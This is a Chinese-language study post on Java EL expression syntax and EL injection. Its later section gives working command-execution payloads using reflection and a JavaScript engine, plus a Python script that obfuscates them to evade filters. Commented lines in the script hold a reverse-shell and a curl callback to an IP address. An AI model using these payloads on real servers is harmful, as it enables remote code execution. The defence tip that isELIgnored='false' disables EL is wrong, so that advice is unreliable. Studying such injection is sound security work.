EL表达式漏洞学习 简介
表达式语言 (Expression Language),或称EL表达式 ,简称EL ,是Java 中的一种特殊的通用编程语言,借鉴于JavaScript 和XPath 。主要作用是在Java Web应用程序嵌入到网页(如JSP )中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据 时,会自动进行数据类型 的转换。 ——wikipedia
其本来目的是让jsp写的更简单,简化其代码
EL表达式主要功能如下:
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
;
获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法
基本语法 使用EL表达式语法:${EL表达式}
注意区分 JSP 页面中的脚本表达式 <%= 这里是表达式 %>
,EL 正是用来替换脚本表达式的
JSP 中的语法 :
脚本程序
JP 声明
声明变量和方法
1 2 3 4 5 6 <%! declaration; [ declaration; ]+ ... %> <%! int i = 0; %> <%! int a, b, c; %> <%! Circle a = new Circle(2.0); %>
JSP 表达式
是对数据的表示,系统将其作为一个值进行计算,表达式的值会转为 string,调用的方法必须要有返回值,不能用 ;
分号
1 2 3 4 5 6 7 8 9 <p> 今天的日期是: <%= (new java.util.Date()).toLocaleString()%> </p> <% if (user != null ) { %> Hello <B><%=user%></B> <% } else { %> You haven't login! <% } %>
JSP 注释
JSP 指令
设置与整个JSP页面相关的属性,开头就能看到
| <%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 | | —————— | ——————————————————— | | <%@ include … %> | 包含其他文件 | | <%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |
1 2 3 4 5 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html ....
[ ]与.运算符
EL表达式提供.
和[]
两种运算符来存取数据。
当要存取的属性名称中包含一些特殊字符,如.
或-
等并非字母或数字的符号,就一定要使用[]
。例如:${user.My-Name}
应当改为${user["My-Name"]}
。
如果要动态取值时,就可以用[]
来做,而.
无法做到动态取值。例如:${sessionScope.user[data]}
中data 是一个变量。
·引用对象属性或集合元素
使用 .
或 []
表示法
比如要获取 customer 的属性 name,则可以使用
或者
通常 []
比 .
要普遍,因为 []
中不只是字符串,可以是字符串表达式,可以进行动态取值,而且 .
可能受一些特殊字符的影响
以下三种写法效果相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <html> <head> <title>Hello</title> </head> <body> hello ${param[["a","b","name"][2]]} <br> hello ${param["name"]} <br> hello ${param.name} <br> </body> </html>
EL 运算符
算术 :+
,-
(二元), *
,/
和div
,%
和mod
,-
(一元)。
字符串连接 :+=
。
逻辑 :and
,&&
,or
,||
,not
,!
。
关系 :==
,eq
,!=
,ne
,<
,lt
,>
,gt
,<=
,ge
,>=
,le
。可以与其他值或布尔值,字符串,整数或浮点文字进行比较。
空 :empty
运算符是前缀运算,可用于确定值是null
还是空。
条件 :A ? B : C
。评估B
或C
根据的评估结果A
。
lambda表达式 :->
,箭头标记。
赋值 :=
。
分号 :;
。
运算符优先级如下(从高到低,从左到右):
[] .
()
(用于更改运算符的优先)
-
(一元) not ! empty
* / div % mod
+ -
(二元)
+=
<> <= >= lt gt le ge
== != eq ne
&& and
|| or
? :
->
=
;
除了上运算中的字符外还有一些其它的保留字符:
1 2 3 4 5 6 7 true` `false` `null` `instanceof` `empty` `div` `mod
变量 EL表达式存取变量数据的方法很简单,例如:${username}
。它的意思是取出某一范围中名称为username的变量。因为我们并没有指定哪一个范围的username,所以它会依序从Page、Request、Session、Application范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传””。EL表达式的属性如下:
属性范围在EL中的名称
Page
PageScope
Request
RequestScope
Session
SessionScope
Application
ApplicationScope
JSP表达式语言定义可在表达式中使用的以下文字:
文字
文字的值
Boolean
true 和 false
Integer
与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point
与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String
任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Null
null
操作符 JSP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:
术语
定义
算术型
+、-(二元)、*、/、div、%、mod、-(一元)
逻辑型
and、&&、or、双管道符、!、not
关系型
==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
空
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型
A ?B :C。根据 A 赋值的结果来赋值 B 或 C。
隐式对象 JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:
术语
定义
pageContext
JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}
为页面的响应对象赋值。
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
术语
定义
param
将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}
相当于 request.getParameter (name)。
paramValues
将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name}
相当于 request.getParamterValues(name)。
header
将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name}
相当于 request.getHeader(name)。
headerValues
将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}
相当于 request.getHeaderValues(name)。
cookie
将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}
返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}
表达式。
initParam
将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。
除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:
术语
定义
pageScope
将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}
访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}
访问对象的属性。
requestScope
将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}
访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}
访问对象的属性。
sessionScope
将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope
将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。
pageContext对象 pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:
1 ${pageContext.request.queryString}
类别
标识符
描述
JSP
pageContext
PageContext 实例对应于当前页面的处理
作用域
pageScope
与页面作用域属性的名称和值相关联的 Map 类
requestScope
与请求作用域属性的名称和值相关联的 Map 类
sessionScope
与会话作用域属性的名称和值相关联的 Map 类
applicationScope
与应用程序作用域属性的名称和值相关联的 Map 类
请求参数
param
按名称存储请求参数的主要值的 Map 类
paramValues
将请求参数的所有值作为 String 数组存储的 Map 类
请求头
header
按名称存储请求头主要值的 Map 类
headerValues
将请求头的所有值作为 String 数组存储的 Map 类
Cookie
cookie
按名称存储请求附带的 cookie 的 Map 类
初始化参数
initParam
按名称存储 Web 应用程序上下文初始化参数的 Map 类
在 EL 注入中,产生的原因就是把用户输入作为 EL 表达式内容来执行,通常使用方法
1 2 3 javax.el.ExpressionFactory.createValueExpression() javax.el.ValueExpression.getValue()
如以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 import de.odysseus.el.ExpressionFactoryImpl; import de.odysseus.el.util.SimpleContext; import Javax.el.*; public class Main { public static void main(String[] args) { ExpressionFactory factory = new ExpressionFactoryImpl(); SimpleContext context = new SimpleContext(); String pl = "ABC ${true.toString().toUpperCase()}"; ValueExpression e = factory.createValueExpression(context, pl, String.class); System.out.println(e.getValue(context)); } }
常用 poc:
1 2 3 4 5 6 7 8 9 10 11 12 //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) ${pageContext} //获取Web路径 ${pageContext.getSession().getServletContext().getClassLoader().getResource("")} //文件头参数 ${header} //获取webRoot ${applicationScope}
利用反射实现命令执行
1 2 ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator.app"))}
EL + JS 引擎实现命令执行
1 2 复制成功 ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator.app')")}
绕过
通过下面这段 EL,能够获取字符 C
则同理可以获取任意字符串
1 2 ${true.toString().charAt(0).toChars(67)[0].toString()}
利用以上原理,通过 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤
生成 paylaod 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #coding: utf-8 #payload = "bash$IFS-i$IFS>&$IFS/dev/tcp/192.168.169.112/7777$IFS0>&1" #payload = "bash$IFS-c$IFS'curl 192.168.169.112:7777'" #exp = '${pageContext.setAttribute("%s","".getClass().forName("%s").getMethod("%s","".getClass()).invoke("".getClass().forName("%s").getMethod("%s").invoke(null),"%s"))}' % ('a','java.lang.Runtime','exec','java.lang.Runtime','getRuntime','open -a Calculator.app') def encode(payload): encode_payload = "" for i in range(0, len(payload)): if i == 0: encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0]) else: encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]) return encode_payload exp = '${pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))}' % (encode('a'),encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('open -a Calculator.app')) print(exp)
得到:
1 2 ${pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),"".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),"".getClass()).invoke("".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))}
防御
过滤敏感内容
使用其它方法
在 JSP 中加入<%@ page isELIgnored="false" %>
禁用
https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/#0x02-%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95
https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/#0x02-%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95